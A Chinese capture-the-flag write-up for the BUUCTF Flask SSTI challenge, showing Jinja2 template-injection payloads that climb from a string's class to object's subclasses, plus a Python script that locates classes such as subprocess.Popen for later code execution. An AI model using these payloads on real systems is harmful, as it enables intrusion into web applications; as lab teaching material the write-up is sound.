Buuctf [flask]SSTI

题目描述：

典型的SSTI注入页面，我们输入49验证一下

可以确定为SSTI注入漏洞

解题思路：

1.先获取类：

1	{{''.__class__}}

先使用该payload来获取某个类，这里可以获取到的是str类，实际上获取到任何类都可以，因为我们都最终目的是要获取到基类Object

2.获取基类：

1	{{''.__class__.__bases__}}

3.获取基类的所有子类：

1	{{''.__class__.__bases__.__subclasses__()}}

import re

# 将查找到的子类列表替换到data中
data = r'''
    [<class 'type'>, <class 'weakref'>, ......]
'''

userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
    for i in userful_class:
        if i in c:
            print(str(class_list.index(c)) + ": " + c)